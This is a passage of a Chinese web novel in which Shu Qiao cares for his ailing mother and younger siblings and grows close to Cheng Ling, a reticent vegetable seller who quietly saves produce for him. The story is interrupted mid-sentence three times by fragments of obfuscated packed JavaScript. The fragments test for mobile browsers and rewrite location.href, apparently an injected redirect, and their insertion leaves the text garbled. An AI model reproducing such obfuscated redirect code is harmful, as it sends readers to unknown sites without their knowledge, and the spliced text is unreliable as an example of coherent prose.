舒乔一边走一边盘算该买些什么。夏日菜蔬虽多，却要挑些耐存放的，否则这天气，稍不留神就坏了。 “南瓜、冬瓜、黄瓜，应有尽有！”一个热情的摊主招呼着，还将一旁的苦瓜往前推了推，“天热吃瓜最是解暑，您看看买点什么？” 舒乔歉然一笑，目光越过他，落在了程凌的摊位上。 与其他口若悬河的摊主不同，程凌只是安静地守着自己的菜摊，唯有客人询问时，才简洁地应答几句。 舒乔走过去时，程凌正在给一位夫郎称菜，瞥见他的身影，手上的动作不着痕迹地顿了一下，随即加快了速度。 “一共七文。”程凌收好铜钱，转头看向正在打量蔬菜的舒乔，声音不觉放缓了些道：“想买什么菜？” 他本想说些几句介绍的话，可看着摊位上摆放整齐、一目了然的蔬菜，又将话咽了回去，只静静站在一旁等待。 舒乔的目光在摊位上流连。这小摊收拾得干净利落，蔬菜码放得整整齐齐，品相也好，每捆菜都扎得规整，不见什么磕碰损伤。 他挑了几根顶花带刺的黄瓜，又要了一个小巧的南瓜。 “这个行吗？”程凌拿起一个圆润饱满、色泽金黄的南瓜问道。 舒乔其实不太会挑菜，见这南瓜大小合适，表皮光滑无疤，便连连点头。 程凌利落地称好，还没等秤杆完全摆平就道：“一共八文。” 舒乔正望着摊上的豆角出神，闻言指着豆角道：“那再要一斤豆角吧。” 程凌二话不说，大手一抓便递过来一把。 舒乔微微一怔，问道：“不称一下吗？” “手感准的，差不离。”程凌对上他疑惑的目光，忽然想起前些日子那个模糊的梦，急忙别开视线。 舒乔知道这些常摆摊的人手上都有准头，便不再多问，取出钱袋数了十文递过去。 程凌伸手去接，指尖不经意触到舒乔微凉的皮肤，像被烫着般迅速收回手，面上却不动声色问：“今天要带些菜叶回去喂鸡吗？” 舒乔不好意思地笑笑道：“要的，不过我晚些再来。” 他顿了顿，又道：“上次的菜，多谢你了。” 程凌不知该如何接话，只低低“嗯”了一声。见舒乔要走，他急忙开口道：“晚点你来拿菜叶。” 见舒乔投来询问的目光，程凌补充道：“喂鸡的。路上磕碰坏的，卖相不好，本来也要处理掉，你拿去便是。” 他说着，目光落在舒乔脸上——那双眸子果然如梦中一般清亮，笑起来时弯成好看的月牙。 “小哥，这菜怎么卖？”一位大娘洪亮的嗓音将程凌的思绪拉了回来。 他赶忙应了一声，站在一旁等候大娘挑选，抬头看了看天，离收市还早着呢。 大娘挑挑拣拣买了两把青菜，又要了两根赠葱方才离开。 程凌一直忙到午时，人流渐疏，这才得空坐下喝了口水。 下午的菜行冷清了许多，青石板路上散落着被踩烂的菜叶，苍蝇嗡嗡地打着转。程凌收拾着摊位，想到舒乔等会儿要来，特意找了个筐子，仔细挑拣起来。 除了喂鸡的菜叶菜帮，程凌的手顿了顿，目光落在旁边两个表皮略有磕痕的西葫芦上。这品相卖不出手，但自家吃完全无碍。念头只是一转，觉得给他正好，手便已将它们拨进筐里，又用菜叶自然地盖在上面。 舒乔买完菜回家，先在小炉子上用文火煎上秦氏的药。 院子里，舒小圆刚洗好的衣裳挂在竹竿上，水珠滴滴答答落在地上，溅开一朵朵小水花。 舒乔取了小板凳坐在院中，一边绣着帕子，一边不时回头照看灶屋里的火候。 待药煎好，服侍秦氏喝下，舒乔揉了揉发酸的脖颈，见舒小圆一直在眼前晃悠，不由失笑道：“想去玩就去吧，记得早点回来。” 舒小圆盼的就是这句话，当即欢呼一声，蹦蹦跳跳地朝门口跑去，“哥哥我保证早早回来！” 舒乔拿着针线进屋陪着秦氏，多是他在轻声细语地说着话。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164052|196618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >秦氏病后很少出门，终日多半卧在床上休养。幸而医馆林大夫开的药见效，这几个月调养下来，气色已比先前好了不少。 “早上去抓药，林大夫说下旬让娘再去号次脉，看看情况调整方子。”舒乔抿了抿彩线，对准针眼穿过去，继续道，“林大夫说若是恢复得好，兴许就不用再吃药了。” 秦氏在一旁帮他裁着布料，时不时温声应和几句。舒乔专注地绣着帕子，直到酉时将至，才惊觉时辰不早了。 见秦氏正在炕上小憩，舒乔没有打扰，轻轻拎起篮子赶往菜行。见不少摊位都已收拾妥当，他不由加快脚步，远远望见程凌果然还在等他，便小跑着迎了上去。 程凌看见舒乔快步走近，停下了手里的动作。 舒乔看着他早已收拾齐整的担子，有些过意不去道：“等很久了吧？下次你别特意等我，别耽误了你回家。” “刚收拾完，不耽误。”程凌应道，目光落在他挽着的空篮子上，找了个由头，“这些菜叶堆在地上，沾了泥，你别沾手了，篮子给我吧。” 说着，他很是自然地伸手接过舒乔的篮子，蹲下身，利落地将事先挑拣好的菜叶装进去，顺手将那两个藏在下面的西葫芦也一并拨了进去，再用菜叶仔细盖好。 “真是太谢谢你了。”舒乔看着他熟练的动作，连忙道谢。 程凌将装得满满的篮子递还给他，语气如常道：“顺手的事。” 舒乔接过沉甸甸的篮子，抬头望了望渐暗的天色道：“那你快回去吧，瞧着要变天了。” “嗯，这就走。”他今日赶了牛车来，回去能快些。见舒乔还站着不动，便用眼神询问是否还有事。 “还没问你叫什么名字呢。”舒乔换手提了提沉甸甸的篮子，浅笑问道。 虽说只见了几面，但对方不仅送了菜，还特意为他留着喂鸡的菜叶，让他省去了四处询问的麻烦，这份好意问个名字也是理所当然，总不好一直“喂”来“喂”去。 “对了，我叫舒乔，乔木的乔。”他解释完，便静静等着程凌的回答。 程凌在心里默默念了几遍“舒乔”，抬眼看向他道：“程凌。” 舒乔见他身形挺拔结实，眉宇间带着沉稳气度，瞧着应是比自己年长，便从善如流地接道：“今天真是多谢你了，程大哥。多亏你留着这些，我省事多了。” “不客气。”程凌回道。 舒乔见程凌对这个称呼并无异议，心下更确定了几分，于是接着道：“那我先回去了，不耽误你赶路。” 见天边乌云渐浓，他不敢再多留，挥手作别后便转身往家走去。 行至巷口，见舒小圆正和几个小伙伴蹲在地上玩得兴起，舒乔没有上前，只遥遥嘱咐了一句让她留意天气，便先行回家。 傍晚他哼着小调拍好黄瓜，正要去院里取晾干的蒜头，瞥到墙角的杂物堆，突然定住。 那根舒小临去年用来捕知了的长杆，分明还好端端地靠在墙边。 舒乔怔怔地站在原地，目光在墙角的竹竿上凝了片刻，眸色渐渐沉了下来，心头那点疑虑终于落到了实处。今晚，待舒小临回来，非得好好问个明白不可。 5. 第 5 章 暮色渐沉，舒家小院的饭桌上碗盘已空，连盛拍黄瓜的盘子都只剩些汁水。 舒乔放下竹筷，直盯着舒小临道：“好了，说说吧，这几日早出晚归的，究竟是做什么去了？” 舒小临心里咯噔一下，知道终究是瞒不住了。 他低头扒拉了两下碗里最后的饭菜，又悄悄抬眼看了看哥哥神色，见舒乔脸上虽严肃，却并未动怒，这才深吸一口气，老实交代道：“哥，我…我在城北的李记茶馆寻了份活计，跑堂兼打杂。” 爹去世时他已经记事，娘每日辛苦操劳，哥哥熬更守夜地绣帕子，他都看在眼里，恨不得一下子长大，能扛起家里的担子。 娘病了后，哥恨不得整日拿着针线，他惦记着娘每月抓药的银钱，便同石头他们四处寻找活计，可别人嫌他年纪小，没经验不说，更下不了力气，都不招他。 前些日子石头说他二舅新开了间茶馆正缺人手，舒小临便央着石头帮忙引荐。 石头二舅姓李，见舒小临虽年纪不大，但身量已接近半大青年，说话也伶俐，瞧着是个机灵孩子，便答应让他先试试。 “我怕这事万一不成，说出来反倒让娘和哥空欢喜一场，还平添担心。”舒小临声音越说越低，手指无意识地抠着桌沿，“掌柜的说头三个月算是学手艺，月钱三百文，等我做熟了，往后能涨到五百文呢。” 秦氏坐在一旁，听着儿子这番话，心头先是一紧，随即长长舒出一口气。 她原先见儿子神神秘秘，生怕他在外头惹了什么事。此刻得知竟是这般懂事的缘由，眼圈不由微微发热，连声道：“好事，这是大好事啊！你这孩子，怎不早说？”她伸手轻轻拍了拍儿子的肩，眼中满是欣慰。 “就是！”舒小圆从板凳上跳下来，跑到舒小临跟前，又是埋怨又是骄傲地拍他肩膀，“害我前几日看见你跟石头嘀嘀咕咕的，还当你们要做什么坏事，吓得我都没敢告诉哥哥。” 舒乔悬了半日的心此刻才算落回实处。 他方才脑中闪过无数不好的猜测，此刻看着弟弟那张犹带稚气却努力装作大人模样的脸，心头百感交集，终是化作一个宽慰的笑。 舒乔温声道：“既寻了正经活计，往后便好好做。只是切记，万事莫要强出头，遇事多请教掌柜的。” “我晓得的，哥。”舒小临见大家都为他高兴，心头大石落地，整个人都轻快起来，主动起身收拾碗筷，“石头那边，等我领了月钱，定要好生谢他。” 秦氏原想说请人来家吃顿饭，转念一想，半大小子自有他们的相处之道，便便只细细叮嘱了几句要记得人家的好、懂得感恩的话。 舒乔在一旁默默听着，心里却已开始盘算，光是口头道谢不够，还是得备些谢礼才好。不说多贵重，但好歹有个实处。 他端着碗筷去清洗，眼角掠过窗外。暮色中，老槐树上一串串雪白的槐花正开得繁盛，如云似雪，缕缕甜香透过窗子飘进来。 他眼前蓦地一亮，忽然记起娘往年这时节常做的槐花饼，清甜可口。 “明日就做这个。”他低声自语，沉吟片刻又道，“再煮一锅绿豆沙，晾凉了，让小临带去给石头他们分着吃，既解暑又表心意。” 翌日清早，舒乔便带着舒小圆，拎着竹篮出了门。 巷子尽头那几株老槐树有些年岁了，枝干遒劲，花串如云，甜香沁人。只是树长得太高，最低的花枝也离地一人多高，徒手难以够到。 “得回家拿根长杆子来。”舒乔仰头估量着，却发现身边没了动静。一回头，只见竹篮搁在地上，舒小圆竟不知何时已灵巧地攀上了最低的树杈，正伸手去够最近的花枝。 “小圆！”舒乔吓得心头一跳，忙压低声音喊道，“快下来！摔了可怎么好？” “不会的哥哥！”舒小圆坐在树杈上，两条小腿晃晃悠悠，手紧紧抓着头上的树枝，“我们常爬这树摘槐花呢……”话一出口才觉失言，她忙捂住嘴，赶紧折下一挂沉甸甸的花串扔下来，“哥哥接好！” 舒乔在树下看得心惊胆战，手忙脚乱地接住那还带着晨露的花枝，眼睛却一刻不敢离开妹妹的身影，连声嘱咐道：“抓紧些！脚踩稳了！再摘两把就快下来！” 舒小圆却灵活得像只林间小猴，在枝干间轻盈移动，不一会儿就折下许多花枝。直到舒乔在底下连声说“够了够了”，她才意犹未尽地抱着树干滑下来，小脸上尽是得意。 舒乔一把拉过妹妹，板起脸问：“常爬树？” “就、就跟小满她们玩的时候爬过几回……”舒小圆缩着脖子，笑嘻嘻地转移话头，拽着舒乔的衣袖轻轻摇晃，“哥哥，咱们快回去做槐花饼吧，娘该等急了！” 舒乔看着她沾了花骨朵的头发和亮晶晶的眼睛，到底没再多说什么，只暗自记下晚些要好好跟她讲讲道理。 回到家，舒乔将槐花倾在竹匾里，仔细拨开花串。只见嫩白花瓣间果然藏着些细小黑点，是小虫蜷在里头。 他将槐花倒入盆里浸泡，手指轻拢慢捻，待污物浮起，便捞出沥水。如此仔细淘洗几遍，水中再无杂质，才将洗净的槐花轻轻攥干。 随后将槐花与玉米面、白面拌匀，磕入两个鸡蛋，加少许盐和油，慢慢搅成面糊，团成小饼上笼蒸。水烧开不多时，清甜的香气便弥漫了整个小院。 刚出锅，舒小圆就凑过来，眼巴巴地等着。舒乔笑着夹了一个递给她，看她一边吹气一边小口咬着，腮帮子塞得鼓鼓囊囊，还含糊不清地嚷着“好吃”。 槐花饼内里松软，清甜中混合着谷物的朴素香气。 秦氏也尝了一个，却只浅尝辄止，温声道：“娘还在吃药，你们多吃些。”舒乔知她忌口，便不再劝，另装了一盘让舒小圆给舟阿么家送去。 收拾完灶台，舒乔回屋继续做绣活。理丝线时，他无意中瞥见昨日买回的豆角，这才发觉程凌给的分量实在足得很。 又想起早晨弟弟喂鸡时提过篮子里有两条西葫芦，他转身去翻看，果然在菜叶下找到了它们，只是尾部略有磕痕，品相依然完好。 舒乔望着这些菜，怔了怔，心里泛起一阵暖意， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164053|196618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又带着些许无措。 这位程大哥，待人实在厚道得让他不知如何是好。他轻轻摩挲着西葫芦光滑的表皮，思绪不由自主地飘向那个在菜行里沉默寡言的身影。 午后，舒乔犹豫再三，终究还是在酉时前拎起篮子出了门。篮子里，还多了一个盛着薄荷水的竹筒。 今日恰逢赶集，菜行里人流比往日多。舒乔按记忆中的位置寻去，却没见程凌的摊位。他正要张望，一个低沉的声音已先响起：“舒乔。”程凌先看见了他。 程凌正站在摊位后，额上带着薄汗，眼神直直落在他身上。 “我还以为你今日不来了。”话一出口，程凌便觉失言，匆匆别开视线。 “来的。”舒乔忙应道，递出准备好的竹筒，“天气燥热，我给你带了点薄荷水润润喉。” 见程凌未接，他又急急补充道：“不是什么稀罕物，你路上解渴也好。” 程凌这才伸手接过，指尖触到竹筒上残留的温热，他沉默一瞬，低声道：“多谢。”他在舒乔脸上停留了片刻，才缓缓移开。 “今日生意可好？”舒乔随口问着，目光已落到摊前所剩不多的菜蔬上。 “还行。”程凌答得简短。其实集市的旺市早已过去，他也不知自己为何偏要等到这个时辰，或许是怕他跑落空。 舒乔注意到摊边那只箩筐里，分明堆着些蔫吧的菜叶，显然是特意留出的。他心里微软，将手中的空篮递过去。 程凌默契地接过来，弯腰往里装菜叶。他的动作不疾不徐，带着特有的稳妥。 “这次……该没有西葫芦了吧？”舒乔忽然凑近些，压低声音打趣道。 程凌手上的动作一顿，抬头看向他，面色如常道：“没有。”又一本正经地补充，“倒有几个茄子，不过鸡大抵不爱吃。” 看着他故作严肃却眼含笑意的模样，舒乔忍不住笑出声。他接过装满的篮子，只觉分量沉甸甸的，正如他此刻的心情，“程大哥，你这样倒叫我不知该如何谢你了。” “不必谢。”程凌站在原地，声音沉稳，“左右这些有磕碰的也是要送人的。”他说得轻描淡写，仿佛这真的只是一桩随手的小事。 舒乔望着他低垂的眉眼，那英挺的面孔因专注而显得格外沉静，心头暖意更甚。 他抿了抿唇，忽然道：“那……明日我还给你送水来。”说罢，不待程凌回应，便转身快步离去，脚步略显仓促，却轻快得像要飞起来。 程凌站在原地，望着舒乔远去的方向，直到那身影没入人群，嘴角才扬了扬。 他低头看着手里的竹筒，指腹在简朴的竹节上轻轻蹭了两下，仰头喝了一大口。薄荷水润过喉咙，带着恰到好处的清凉。他仔细收好竹筒，转身继续收拾所剩不多的菜摊。 舒乔一路走回家，只觉今日的轻风拂面分外舒爽。 一路走到巷口，他却瞧见一个有些眼熟的身影，从自家院门内怒气冲冲地摔门而出。 那哐当一声巨响惊得他脚步一顿，待要细看时，那人已拐过巷角不见了。 6. 第 6 章 舒乔推门进院，见舟阿么也在，便提着篮子往灶屋走，随口问道：“娘，刚才谁来了？” 秦氏和舟阿么对视一眼，缓声回道：“是张家媳妇，过来坐了会儿。” 舒乔一听，不由觉得奇怪，回头看了他们一眼。 张家媳妇那泼辣性子在南巷是出了名的，平时不是跟人拌嘴就是撒泼，巷子里的人见了多半都要绕道走。 秦氏平日里就少跟邻里往来，生病后更是很少出门，与张家媳妇几乎毫无交情，舒乔实在想不出她上门的缘由。 “这事儿闹的。”舟阿么拍了下大腿，见舒乔一脸好奇，又看了看秦氏，最后还是说了出来，“那人是来探你娘口风的。” 舒乔左右看看他们俩，追问道：“然后呢？” 秦氏皱着眉头，脸上带着几分烦躁道：“她来打听你有没有说亲，想替她侄子相看。” “我说还不着急，想再留你两年。可她走时那个样子，我怕她见事情不成，出去乱说些有的没的。”秦氏语气里带着忧愁。 风言风语传得最快，说的人不在意真假，听的人却容易当真。 舒乔听了反倒松了口气。那人最多也就是出去说些闲话，自家倒是有些杞人忧天了。不过想起张家媳妇的性子，他又忍不住头疼——跟这种人讲不通道理，要是真计较起来，非得强硬些才能让她收敛。 “娘，你先别担心，事情还没发生呢，咱们过好自己的日子就行。”舒乔轻声安慰。 “话是这么说，可嘴长在别人身上，咱们想管也管不住啊。”秦氏神色还是不见轻松。 “哎呀，没影的事犯不着先愁上！”舟阿么作势挽起袖子，一脸厉色，“她要是真敢乱嚼舌根，我就上门撕了她的嘴！你这身子不好，大夫不是说了要少操心吗？咱们两家加起来，人可比张家多，真要论起来，还能输了阵势不成？” “对，我也能帮忙！”舒小圆叉着腰应和，小脸上满是跃跃欲试。 刚才张家媳妇上门时，她就觉得不对劲，赶紧跑去喊了舟阿么。听完那番话，她差点当场跳出来骂人。 张家媳妇的侄子也住在南巷，跟舒家一个在巷头一个在巷尾，平时几乎没什么往来。但那侄子跟他姑妈一样“出名”，巷子里的人提起都要摇头。 成日游手好闲，正事不干，专在街上晃荡。脾气一点就炸，喝了几口马尿便在家摔盆砸碗，对自家爹娘都敢呼来喝去。前两年不知从哪儿学了赌钱的毛病，欠下一屁股债，时常有生面孔的汉子堵在巷口寻他。 眼看都快二十好几了，媒人一提是他，立马就被请出门。哪户好人家愿意把哥儿女儿嫁过去，那不是糟践人吗？ 舒乔想起那人模样，也不由得皱起眉头。想来张家媳妇是仗着舒家病的病、小的小，家里没个主事的男丁，才敢上门提这种荒唐事。 秦氏想到这一层，心里更堵得慌，却不愿说出来让孩子们担心，只勉强笑了笑，起身送舟阿么出去。 舟阿么站在门边，见舒乔进了灶屋，拉着秦氏小声说：“那张家媳妇虽然不是什么好人，但乔哥儿的婚事，你也该上心了。先前没来得及跟你说，这巷子里已经有好几户明里暗里来和我打听呢。” 秦氏在家养病，跟舒家走得近的只有舟阿么一家，那些人自然都来找他打听。秦氏回过神，点头道：“好，我记着了。” 舒乔长得白净，笑起来眼睛弯弯的让人看着就舒心，加上干活麻利又孝顺，绣活也不错，巷子里有适龄儿子的人家，早就有人暗暗留意了。 秦氏关上门，心里琢磨着舒乔的婚事，回屋躺下后总觉得不得劲，干脆起身去了灶屋。 舒乔正准备晚上贴饼子，见秦氏进来，连忙说：“娘，灶屋里不用你帮忙，我叫小圆烧火就行。” “我就跟你说说话，你忙你的。”秦氏拿过矮凳，在灶膛前坐下。 “那好吧。”舒乔拿碗舀了面，慢慢加水搅和。 秦氏拿了根细棍子，把脚边的绒草拨拉到一起，像是随口问道：“乔哥儿，心里可有什么瞧上眼的人？” 这话问得突然，舒乔惊得停下动作，想起刚才的事，摇了摇头，顿了顿又反问：“娘，怎么突然问这个？” 秦氏没有直接回答，又问道：“那有没有想过以后要找个什么样的？长相也好，性子也好，跟娘说说。” 这些年秦氏整日为柴米油盐操心，对儿女的心思难免疏忽。现在想起舒乔小时候拽着她衣角嚷着要买糖吃的样子，好像就在昨日。 若说从未想过自是假的，舒乔也曾悄悄描画过日后光景。于另一半，他只盼对方可靠体贴，待他真心，至于容貌，自是周正些更好。他这般细细说了，末了竟有些赧然，声气渐低。 偷瞄了眼秦氏，舒乔挺直腰背，轻咳两声道：“大致便是这些了。” 他方才在窗边听见舟阿么与秦氏的低语，心知娘的用意，倒也愿坦诚相告——这终究是关系自己后半生的要紧事。 秦氏听罢，眼中浮起笑意，点头温言道：“好，娘晓得了。” 跟舒乔聊了一会儿，秦氏先前浮躁忧愁的心情慢慢平静下来。见舒乔一个劲儿催她回屋休息，秦氏只好起身，让舒小圆来烧火。 炊烟顺着烟囱袅袅升起，在半空中打着转儿，随风飘散。 舒小临推门回家时，手里拎着一块肉直奔灶屋，见舒乔还在忙活，连忙笑道：“还好赶上了。”他晃了晃手里的肉，对大家说：“今晚有肉吃啦！” “哦。”舒小圆回头应了一声，拿火钳捅了捅灶膛，火苗腾地一下子窜高了。 舒乔拿着锅铲翻动锅里的菜，眼皮都没抬一下。 “诶？这可是肉啊？！”舒小临走到舒小圆面前，围着她转个不停。 “知道啦知道啦，别晃了！”舒小圆一巴掌拍在哥哥胳膊上。 舒小临哼了一声，见他们反应平淡，索性自己打开了话匣子，絮絮叨叨说起今天的新鲜事。 舒乔听着他东拉西扯，嘴角微微抽了抽，接过肉去切，留他们在灶边叽叽喳喳。 “今天这是怎么了？一个个都没精打采的。”舒小临侧身看了眼外面洗砧板的舒乔，推了推妹妹的肩膀，“还有啊，哥居然没问我哪来的钱买肉。” 舒小圆张了张嘴，见舒乔进来，赶紧使了个眼色，示意待会儿再说。 舒小临心里装着事，直到吃完饭才找到机会拉着妹妹问：“说吧，到底怎么回事？” 舒小圆正专心啃着手里的梅花糕，闻言擦了擦嘴，把下午张家媳妇上门的事小声说了一遍。 “大概就是这样，你可别再提了，不然娘又要担心了。” 舒小临听得直皱眉头，啧了一声，语气带着几分狠劲，“她要是敢乱说，我自有办法让她没心思嚼舌根。” 舒小圆啃糕的动作一顿，担心道：“小临哥，你可别做傻事。” “笨，我说的是她儿子。”舒小临见她还没明白，又补充道，“就是那个小胖子。” “哦——是他啊。”舒小圆恍然大悟。那小胖子也是个混不吝的，整天在巷子里招惹别的孩子，惹人讨厌。想起张家媳妇把那小子当宝贝似的，舒小圆琢磨着，要是小临哥真去收拾那小胖子，估计张家媳妇能闹得半条巷子不得安生。 接下来的几天风平浪静，巷子里没传出什么流言飞语，秦氏悬着的心总算放了下来。 这天，舒乔看着弟弟递过来的铜钱，反手推了回去道：“这些你自己留着吧，平时想买点什么也方便。” “哥，我平时吃喝不是在家就是在茶馆，哪用得着钱啊。”舒小临说着，又把铜钱塞到舒乔手里，“再说家里柴火快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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程凌跟着舒乔买好松针，一起放到牛车上，“走吧，我送你回去。” 舒乔从见到程凌起就有些走神，没想到会在这里遇见他，闻言呆呆地应道：“啊，好。”又赶紧补充，“太谢谢你了程大哥。” 程凌赶着牛车慢慢往前走，在前面应道：“不用客气。” 两人一时没了话，气氛有些安静。舒乔见车上没放菜筐，忍不住问道：“程大哥今天没去菜行？” “嗯，今天休息。”程凌回头看了他一眼，“家里要来亲戚，我出来买点东西招待。”他顿了顿，语气里带着歉意，“昨天忘了跟你说一声，想着你要是去了没见到我，怕是要纳闷我怎么没出摊，白跑一趟。” 舒乔听了笑起来，摆摆手，“哪能算白跑呢。就算见不着你，菜行里别家摊子也有不少要扔的菜叶，总能讨到一些，家里的鸡饿不着。”他说着往前凑了凑，眼里带着笑意，“不过倒是会琢磨，程大哥今天怎么没来，是不是有什么事。” 程凌听他这么说，心里的歉意散了点，嘴角微微扬起道：“原是我多想了。” 轻风吹过，带着丝丝凉意，程凌握了握手里的鞭子，忽然觉得这趟来柴市来得特别值。 “前面往右拐，在巷口停就行了。”舒乔指着路说。 程凌赶着牛车慢慢停下，扛起柴火，示意舒乔在前面带路。 “放这儿就好。”舒乔开门指着院子一角，转身进屋倒了碗水。 程凌接过碗喝了一口，院门还开着，不便久留，递回碗道：“我先回去了。” “嗯，”舒乔送他到门口，“今天真是太谢谢你了程大哥。” “刚才说过了。”程凌朝他点点头，“一点小事，回吧。”说完转身离开。牛车还在巷口放着，不能耽搁太久。 舒乔手扶着门框，望着程凌走出巷子才收回目光。一转身猛地看见张家媳妇那张脸，吓得往后一退。 “有些人啊，专干些见不得人的事，生怕别人不知道似的。”张家媳妇斜着眼，上上下下打量着舒乔，嘴里不停地发出嗤嗤的冷笑，那样子实在讨厌。 舒乔只淡淡地扫了她一眼，砰地一声关上了院门。 何必与这种人一般见识。 7. 第 7 章 舒乔没把张家媳妇那些话往心里去，回屋拿起针线篮子继续做活。为了那种人耽误正事，不值当。 舒小圆捏着帕子，手上动作停了停，偷瞄旁边闭眼歇息的秦氏，悄悄往舒乔身边挪了挪，压低声音问：“哥哥，刚才那人是谁啊？” 她眨巴着眼睛，满脸好奇，“我听见你喊他程大哥，他也住这附近吗？” 舒乔平日里玩伴就少，不是在家绣帕子，就是出门办事，很少跟谁结伴玩，更别说认识陌生男子了。 舒小圆想起刚才在窗边瞥见的高大身影，还有两人说话时熟稔的语气，心里跟猫抓似的。再想到这几日哥哥去菜行总带着竹筒，她直勾勾盯着舒乔，像是要从他脸上看出朵花来。 “你的帕子绣好了？拿来我看看。”舒乔面不改色，作势要拿她手里的帕子。 “我不问了还不行嘛。”舒小圆赶紧讨饶，往旁边挪了挪，离他远远的，生怕他又要检查绣活。 舒乔不再逗她，低头穿针，声音轻轻的，“程大哥在菜行卖菜，家里鸡吃的菜叶都是他给的，别瞎想。”他太了解这个妹妹了，要是不给她个准话，她能琢磨一整天。 舒小圆竖起耳朵听完，又凑过来扒着他的胳膊追问：“那竹筒也是给他的？” 舒乔斜了她一眼，没吭声。 “好吧，我晓得了。”舒小圆得了答案，总算安分下来，继续对付手里那让她头疼的绣活。可心里却翻腾得厉害——哥哥居然认识了个她从没见过的汉子，还给他送水！ 依她这些年的观察，除了自家人，哥哥可从没对谁这么上心过。 舒小圆眼珠子转了转，对那位姓程的汉子越发好奇。 她瞅了眼窗外，打定主意后又对舒乔说：“哥哥，明天去菜行带上我呗？” 舒乔哪能不知道她的性子，沉默了好一会儿，被她轻轻推了推胳膊，才无奈点头，“先说好，去了不许乱打听。” “放心吧哥！”舒小圆心愿得偿，连连点头，末了又瞟了眼旁边似睡非睡的秦氏，不知她刚才听见没有。 不过听见了也没啥，他们又不是去干坏事，舒小圆想着，重新埋头对付手里的针线。 —— 程凌按着出门前娘的嘱咐，先去割了两斤五花肉，又挑了几条肉多的排骨，买了半只烧鸭，打了一壶酒，最后去点心铺子称了些糖和糕点。翻了翻箩筐，确认该买的都齐了，这才去城门接张大爷。 “麻烦你了凌小子。”张大爷扶着板车坐稳，布满皱纹的脸上堆着笑。 “张大爷客气了。”都是一个村子的，张大爷年纪大了，程凌顺路捎一程是应该的。 “听村里人说你最近都在城里卖菜，整日守着摊子，闷不闷？” “没客人时是有些，不过比在码头扛包轻省多了。” 每天早早运菜去摊位，守一整天招呼客人，虽说比干重活轻松，一天下来也累人。 张大爷赞同地点点头，又跟他聊起地里的收成。程凌不时应着，牛车慢悠悠地往前赶。 清水村，因着村边的清水河得名。 村里几十户人家，离县城不远，平日里村民们能进城卖个菜，或是山里寻来的野菜野物，日子都还过得去。 程凌家在村子东头，五间泥瓦房一排朝南，中间是堂屋，东边两间是他和爹娘的屋子，西边是灶屋和杂物间。后院有牛舍和鸡舍，院子都用土墙围着。 他在村口放下张大爷，赶着牛车回了家。 程母许氏听见开门声迎出来，接过他买回来的肉和酒，往门外望了望说：“你姑他们估摸着快到了，我先把菜拾掇出来。”又回头喊，“儿子你去后院看看你爹鸡杀好没。” 程凌应了一声，先把牛牵到后院。 程父正蹲在水井旁的石板前收拾鸡内脏，见他回来抬头喊：“儿子回来啦？正好，帮爹打桶水。” “等会儿。”程凌应着，见牛在牛舍前磨蹭不肯进去，扬了扬鞭子说下午带它去河边吃草，牛这才乖乖抬蹄进栏。 他拴好门，回身帮爹打水。 “这鸡养得真肥，你瞧瞧。”程父一边搓洗鸡身，一边让程凌拿瓢冲水。 这鸡油光水滑，皮下积着厚厚的黄脂，肉质饱满，单看那两个紧实的鸡腿就知道味道差不了。 “多亏你娘每日精心照看。”程父乐呵呵的，把洗干净的鸡身和内脏放进木盆，又让程凌把地上的鸡毛收好，晒干了等货郎来收。 鸡鸭鹅的羽毛都是好东西，货郎专门收，乡下人家虽不常杀鸡宰鸭，但攒上几斤，就能让家里娃儿换些糖吃。 程凌拿着扫帚，用瓢冲刷石板上的血污，免得招苍蝇蚊虫。 灶屋里传来程父哐哐剁鸡块的声音，夹杂着他和许氏的说话声。 这时程川推门进来，听见灶屋的动静喊道：“大伯母你们已经忙上了？我拿了两条鱼来，待会儿一起煮。” “小川来啦。”许氏迎出来接过鱼，掂量了下，“这鱼得有两三斤了，正好一条红烧一条清蒸。” “都听大伯母的。我娘去地里摘菜了，您就不用再摘了。哦对了，我爹说要把家里酿的酒拿来，让大伯不用开坛子了。” “好我晓得了，那我先忙去。”许氏拎着鱼进了灶屋。 程川跑到后院找程凌，见他正劈柴，甩开膀子说：“哥，我来帮你。”说着搬了块大木头放稳，又远远退开。 程凌抬起斧头用力劈下，木头应声裂开，木屑飞溅。程川捡起飞散的木条放好，又搬来新的木头。 前院传来说话声，程川边捡木条边说：“我娘和小月来了。”又小声嘀咕，“姑姑说要回来，可也没说具体时辰，万一下午才到，中午做这么多菜咋办？”他都闻到炖鸡的香味了，忍不住吸了吸鼻子。 “最迟中午准到。”程凌摆正木头劈下去，又道，“耽误不了你吃鸡腿。” “嘿嘿，还是哥懂我。”程川挠挠头，“不过哥，你咋这么肯定姑姑中午前能到？” “往年都这样。” “往年？”程川愣了愣，上次见姑姑还是去年过年时候，不过既然哥这么说了，那准没错。 “小川过来搭把手！”程二婶刘氏在前院喊。 “来啦！”程川扔下木棍跑过去帮忙。不一会儿他扛着张大圆桌过来，程凌见他费劲，忙放下斧头接过。 程月在后头两手提着桌腿，一字一句地复述，“大伯母说，桌子要擦干净，桌腿扫掉蛛网，冲一下就行。” 